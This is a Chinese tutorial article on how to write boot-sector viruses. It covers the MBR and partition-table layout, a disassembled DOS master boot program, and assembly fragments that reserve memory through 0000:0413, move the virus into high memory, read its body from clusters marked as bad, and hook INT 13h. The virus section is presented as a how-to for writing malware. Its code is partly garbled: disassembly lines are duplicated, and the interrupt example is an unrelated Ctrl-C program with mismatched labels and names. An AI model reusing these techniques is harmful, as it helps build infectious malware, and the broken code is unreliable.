引导型病毒编制的关键技术

发表于:2015-08-17 15:58 阅读:

  要掌握引导型病毒的编制技术,我们先了解引导区的结构。软盘只有一个引导区,只要做了格式化,就会存在。其作用为查找盘上有无IO.SYS DOS.SYS,若有则引导系统,否则显示“NO SYSTEM DISK...”等信息。硬盘有两个引导区,在001扇区的称为主引导区,内有主引导程序和分区表,主引导程序查找激活分区,该分区的第一个扇区即为DOS引导扇区。绝大多数病毒感染硬盘主引导扇区和软盘DOS引导扇区。

  硬盘主引导区结构

  硬盘的主引导区在0柱面0磁道1扇区,包括硬盘主引导记录MBRMain Boot Record)、四个分区表DPTDisk Partition Table)信息和主引导记录有效标志字三部分,如表4-1所示。

4-1 主引导扇区结构

区域

信息

0000H008AH

主引导记录启动程序

008BH-00D9H

主引导记录启动字符串

00DAH01BDH

空闲区

01BEH01CDH

分区1结构信息

01CEH01DDH

分区2结构信息

01DEH01EDH

分区3结构信息

01EEH01FDH

分区4结构信息

01FEH01FFH

55AAH主引导记录有效标志

  主引导记录MBR0000H开始到00D9H结束,共218个字节。MBR的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。MBR是由分区程序(例如DOS Fdisk.exe)产生的,在不同的操作系统平台下,这个扇区的内容可能不完全相同。主引导记录比较容易编写,例如,我们自己也可以编写一个这样的程序,只要能完成前述的任务就可以了。正是因为主引导记录容易编写,所以才出现了很多的引导区病毒。

  我们都知道,任何硬盘最多只能有四个分区。分区表自偏移01BEH处开始,共64个字节,表中可填入四个分区信息,每16个字节为一个分区说明项,这16个字节含义如表4-2所示。

4-2 分区表结构信息(偏移量)

偏移

长度

含义

00H

1

活动分区指示符,可能取值为80H00H。其中80H表示为可自举分区(仅有一个)00H表示其他分区

01H

1

分区起始磁头号

02H

1

6位是分区开始的扇区,高2位是分区开始的柱面的头两位

03H

1

分区开始的起始柱面号的低8

04H

1

系统标志,可能取值有01H04H05H06H。其中01H表示采用12FAT格式的DOS分区;04H表示采用16FAT格式的DOS分区;05H表示为扩展DOS分区;06H表示为DOS系统

05H

1

分区终止头号

06H

1

6位为分区结束的扇区号,头2位为结束柱面号的前2

07H

1

分区结束柱面号的低8位。

08H

4

本分区前的扇区数,低位字节在前

0CH

4

本分区总的扇区数,低位字节在前

  说明:扇区号的高2位占用柱面号所在字节的最高2位,即柱面号为10位,扇区号6位。

  下面是某硬盘分区表的例子。

80 01 01 00 06 1F 3F 98 3F 00 00 00 A1 B4 04 00

00 00 01 99 05 1F BF 0E E0 B1 04 00 40 81 0B 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  在上述例子中,每行十六个字节,为一个分区说明,数据为十六进制。

  第一个分区(第一行):活动分区指示符为80H,表示该分区为可自举分区(启动分区)。系统标志为06H表示是DOS系统,即为C盘。

  第二个分区(第二行):系统标志为05H,说明该分区是扩展DOS分区。

  第三、四个分区数据均为00H,没有定义,这说明该硬盘只有两个分区。

  从扩展DOS分区说明项(即第二个分区)中,我们可以得知下一个分区表位于起始磁头为0头,起始柱面为99H,起始扇区为1扇区。

 

引导型病毒编制的关键技术[2]

 进入社区

  硬盘主引导程序剖析

  如果是从硬盘启动,则系统启动时,ROM BIOS程序把硬盘上0柱面0磁道1扇区的主引导程序加载到内存0000:7C00处,并开始执行。因此,下面的第一条指令CLI的绝对地址是0000:7C00H。我们可以通过修改主引导扇区来实现一定的加密效果,但若被病毒利用,则就成了引导型病毒。

 偏移 机器码    符号指令         说明 
0000
 FA     cli                ;屏蔽中断
 
0001
 33C0 
  xor ax, ax 
0003
 8ED0 
  mov ss, ax       ;(ss) = 0000H 
0005
 BC007C mov sp, 7c00 
    ;(sp) = 7C00H 
0008
 8BF4   mov si,sp 
       ;(si) = 7C00H 
000A
 50 
    push ax
000B
 07     pop es 
          ;(es) = 0000H 
000C
 50 
    push ax
000D
 1F     pop ds 
          ;(ds) = 0000H 
000E
 FB 
    sti 
000F
 FC 
    cld 
0010
 BF0006 
mov di, 0600 
0013
 B90001 mov cx, 0100     ;512字节
 
0016 F2
 
    repnz 
0017 A5
     movsw  ;主引导程序把自己从0000:7C00处搬到0000:0600处,

;DOS分区的引导程序腾出空间 
0018
 EA1D060000 jmp  0000:061d   ;跳到0000:061D处继续执行,实际上就是

;执行下面的MOV指令
001D BEBE07 mov si, 07be  ;07BE-0600=01BE01BE是分区表的首地址 
0020
 B304   mov bl, 04     ;分区表最多4项,即最多4个分区
 
0022
 803C80  cmp byte ptr [si], 80 ;80H表示活动分区
 
0025
 740E   jz  0035            ;找到活动分区则跳走
 
0027
 803C00 cmp byte ptr [si],00 ;00H为有效分区的标志
 
002A
 751C   jnz 0048         ;既非80H亦非00H则分区表无效
 
002C
 83C610 add si, +10       ;下一个分区表项,每项16个字节
 
002F
 FECB  dec bl          ;循环计数减一
 
0031
 75EF   jnz  0022          ;检查下一个分区表项
 
0033
 CD18   int 18            ;4个都不能引导则进入ROM 
BIOS 
0035
 8B14 
  mov dx, [si] 
0037
 8B4C02 mov cx, [si+02]   ;取活动分区的引导扇区的柱面,扇区
 
003A
 8BEE  mov bp, si        ;然后继续检查后面的分区表项
 
003C
 83C610 
add si, +10 
003F
 FECB 
dec bl 
0041
 741A   jz  005d         ;4个都查完则去引导活动分区
 
0043
 803C00 cmp byte ptr [si],00   ;00H为分区有效标志
 
0046
 74F4    jz 003c         ;此分区表项有效则继续查下一个
 
0048
 BE8B06 mov si, 068B   ;068B-0600=018B,取无效分区字符串
 
004B
 AC     lodsb        ;从字符串中取一字符
 
004C
 3C00   cmp al, 00    ;00H表示串尾
 
004E
 740B   jz 005b       ;串显示完了则进入死循环,系统无法启动
 
0050
 56 
     push si 
0051
 BB0700 
mov bx, 0007 
0054
 B40E 
   mov ah, 0e 
0056
 CD10    int 10       ;显示一个字符
 
0058
 5E 
      pop si 
0059
 EBF0    jmp 004b     ;循环显示下一个字符
 
005B
 EBFE    jmp 005b     ;此处为死循环
 
005D
 BF0500  mov di, 0005 ;读入活动分区,最多试读5
 
0060
 BB007C 
mov bx, 7c00 
0063
 B80102 
  mov ax, 0201 
0066
 57 
       push di 
0067
 CD13     int 13      ;
 
0069
 5F 
      pop di 
006A
 730C     jnb 0078     ;读盘成功则跳走
 
006C
 33C0 
    xor ax, ax 
006E
 CD13     int 13      ;读失败则复位磁盘
 
0070
 4F 
       dec di 
0071
 75ED     jnz 0060     ;不到5次则再试读
 
0073
 BEA306   mov si, 06a3 ;06A3-0600=00A3,即“Error loading”
 
0076
 EBD3     jmp 004b    ;去显示字符串,然后进入死循环
 
0078
 BEC206   mov si, 06c2 ;06C2-0600=00C2,即“Missing..”
 
0076
 EBD3     jmp 004b    ;去显示字符串,然后进入死循环

0078 BEC206   mov si, 06c2 ;06C2-0600=00C2,即“Missing..” 
007B
 BFFE7D  mov di, 7dfe ;7DFE-7C00=01FE,即活动分区的引导扇区的

;最后两字节的首址 
007E
 813D55AA cmp word ptr [di], aa55   ;最后两字节为AA55H则有效
 
0082
 75C7       jnz 004b       ;无效则显示字符串并进入死循环
 
0084
 8BF5       mov 
si, bp 
0086
 EA007C0000 jmp 0000:7c00 ;有效则跳去引导该分区
 
0080 49 6E 76 61 6C Inval
0090 69 64 20 70 61 72 74 69-74 69 6F 6E 20 74 61 62 id partition tab
00A0 6C 65 00 45 72 72 6F 72-20 6C 6F 61 64 69 6E 67 le.Error loading
00B0 20 6F 70 65 72 61 74 69-6E 67 20 73 79 73 74 65 operating syste
00C0 6D 00 4D 69 73 73 69 6E-67 20 6F 70 65 72 61 74 m.Missing operat
00D0 69 6E 67 20 73 79 73 74-65 6D 00 00 FB 4C 38 1D ing system...L8.
00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 ................
01C0 01 00 06 0F 7F 9C 3F 00-00 00 F1 59 06 00 00 00 ......?....Y....
01D0 41 9D 05 0F FF 38 30 5A-06 00 40 56 06 00 00 00 A....80Z..@V....
01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA ..............U.

 

  从上面的汇编指令中我们可以看出,硬盘主引导记录程序的功能是读出自举分区的BOOT程序,并把控制转移到分区BOOT程序。整个程序流程如下:

  (1)将本来读入到00007C00H处的硬盘主引导记录程序移至00000600H处;

  (2)顺序读入四个分区表的自举标志,以找出自举分区,若找不到,转而执行INT 18HBOOT异常执行中断程序;

  (3)找到自举分区后,检测该分区的系统标志,若为32FAT表或16FAT表但支持13号中断的扩展功能,就转到执行13号中断的41号功能调用进行安装检验,检验成功,就执行42号扩展读功能调用把BOOT区程序读入到内存00007C00H处,如果读入成功,则跳到第(5)步,读失败或系统标志为其它,就调用13号中断的读扇区功能调用把BOOT读到00007C00H

  (4)使用13号中断的读扇区功能时,用两种方式分别进行5次试读。第一种方式是直接从自举分区的头扇区读入BOOT程序,若读成功,但结束标志不是55AA,则改用第二种方式,又如果用第一种方式试读五次均不成功,就改用第二种方式。若两种方式试读均失败,就转到出错处理程序;

  (5)读入BOOT区程序成功,转至00007C00H处执行BOOT程序。

 

引导型病毒编制的关键技术[3]

 进入社区

  引导型病毒编制技术

  引导型病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于PC开机后,会先执行主引导分区的代码,这时,病毒可以获得第一控制权,在引导 DOS 操作系统之前,做完以下事情。

  (1)减少DOS可用最大内存量,以供病毒代码使用。修改内存的程序代码如下:

xor ax,ax

mov ss,ax

mov sp,7c00h

mov ds,ax

mov ax,word ptr ds:[413h]   ; 此处存放最大的内存0000:0413

sub ax,4                  ; 为病毒申请4kB的内存空间

mov ds:[413h],ax

  (2)修改必要的中断向量,以便传播,例如可利用25H号调用修改23H中断向量,该程序代码如下:

 Code segment   ;代码段开始
    Assume cs:code,ds:code   ;段寄存器间关系
;主过程开始
begin   proc far
push ds     ;ax
0后,ds:ax进栈
sub ax, ax   ;确保返回DOS时恢复中断向量
push ax
mov ax, code  ;
代码段地址装入ds,es
mov ds, ax
mov es, ax
mov ax, seg crtl_c   ;
修改向量,ds:dx指向ctrl_c子程序

mov ds, ax
mov dx, offset ctrl_c
mov ah, 25h    ;
调用号ah=25H
mov al, 23h     ;
被修改中断向量号
al=23H
int 21H        ;
系统调用指令

fj1:    lea dx, tis       ;dx指向提示字符区tis
call prom       ;
调用显示子程序,显示请输入字符提示

lea dx, src0      ;dx指向键入字符区src0
call acce        ;
调用键入子程序,输入字串

mov cl, src1     ;在输入字符串尾部加“$”,以供显示
xor ch, ch
mov si, cx      ;
si存已键入字符数
mov src2[si], “$”
lea si, ctny2     ;
下面检查ctrl_c程序键入字符是否为“Y”si指向ctny
mov al, [si]     ;检查字符是“Y”还是“y”
cmp al, “Y”
jz fj2          ;
若是“Y”转结束
fj2
cmp al, “y”
jz fj2
jmp fj1        ;
否则返回fj1,继续显示、键盘输入的循环过程

fz2:    ret            ;返回DOS
begin   endp          ;
主过程begin结束

;ctrl_c中断子程序,当操作ctrl_c键时转入本程序
ctrl_c  proc near       ;ctrl_c中断过程开始
push ax        ;ax,dx进栈
push dx
lea dx, ynx     ;
显示退出吗?(Y/N):提示信息
call prom
lea dx, ctyn0    ;dx
指向ctrl_c键入缓存区ctyn
call acce       ;
调用键入子程序,键入字符

mov cl, ctyn1   ;以下4条,在键入字串尾加“$”,以供显示
xor ch, ch
mov si, cx      ;
si存已键入字符数
mov ctyn2[si], “$”  ;现有字串加“$”字符
pop dx         ;dx,ax出栈
pop ax
iret            ;
中断返回
ctrl_c  endp           ;ctrl_c过程结束

;显示,键入子程序
acce  proc near       ;键入子程序
mov ah, 0ah    ;aH子功能
int 21h
ret           ;
键入子程序返回
acce  endp

prom  proc near      ;显示子程序
mov ah, 9      ;9H子功能
int 21h
ret          ;
子程序返回
prom  endp

;数据区
tis  db “请输入字符:”,”$”     ;主程序用显示提示字串
src0  db 64                   ;主程序用键入缓存区,长度为64
src1  db ?                    ;
实际键入字符数,系统自动置入

src2  db 64 dup(“”),”$”         ;键入字串内容
ynx   db 10,13,”退出吗?(Y/N):”,”$”   

;以下是ctrl_c程序用数据
ctyn0  db 12                   ;ctrl_c键入缓存区,长度12
ctyn1  db ?                    ;
实际键入字符数,系统自动置入

styn2  db 12 dup(“”),”$”         ;键入字串内容

code ends                     ;代码段结束
end begin                 ;程序汇编结束

  (3)读入病毒的其他部分,进行病毒的拼装(在内存高端)。先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,然后再读入原引导记录到0000:7C00H,跳转执行。这一部分的代码如下:

 mov cl,06h
shl ax,cl       ; (ax) = 8F80
add ax,0840h    ; (ax) = 97c0
mov es,ax
mov si,7c00h    ; (si) = 7c00
mov di,si
mov cx,0100h
repz movsw      ;
将病毒移到高端
v2:     push ax
pop ds
push ax
mov bx,7c4bh
push bx
ret             ;
指令执行转入高端内存
call v3
v3:     xor ah,ah       ;(ah) = 0
 int 13h                  ;13H
号中断调用

 mov ah,80h
 and byte ptr ds:[7df8h],al
v4:      mov bx,word ptr ds:[7df9h]  ;
读入病毒的其他部分
 push cs
 pop ax          ; (ax) = 97c0
 sub ax,20h      ; (ax) = 97a0
 mov es,ax       ; (es) = 97a0
 call v9
 mov bx,word ptr ds:[7df9h]  ;
加载逻辑扇区号
 inc bx                      ; bx++是引导扇区
 mov ax,0ffc0h   ; ffc0:8000 = 0000:7c00 读入原引导分区内容
 mov es,ax
 call v9
 xor ax,ax       ; (ax) = 0
 mov byte ptr ds:[7df7h],al  ;
标志清0
v5:      mov ds,ax       ; (ds) = 0
 mov ax,word ptr ds:[4ch]    ;
 mov bx,word ptr ds:[4eh]    ;
修改中断向量

 mov word ptr ds:[4ch],7cd6h
 mov word ptr ds:[4eh],cs    ;
int 13H中断已经修改
 push cs
 pop ds          ; (ds) = (cs)
 mov word ptr ds:[7d30h],ax  ;
保存原来的int 13H中断向量

 mov word ptr ds:[7d32h],bx  ;
v6:      mov dl,byte ptr ds:[7df8h]  ;
加载驱动器盘符

v7:      jmp 0000:7c00             ; 跳转
db  0eah,00h,7ch,00h,00h           ;这里是个跳转指令的二进制代码

  4、读入原主引导分区,转去执行DOS的引导工作。这段程序代码和4.1.2中的代码是类似的。

 

 


(非特殊说明,本文版权归原作者所有,转载请注明出处 )
鸣人致力于为企业提供数据恢复、机房建设、数据库运行、运营及安全等全方位服务。




想在手机上、随时获取互联网前沿、设计资讯以及各种意想不到的"福利"吗?通过微信扫描二维码快速添加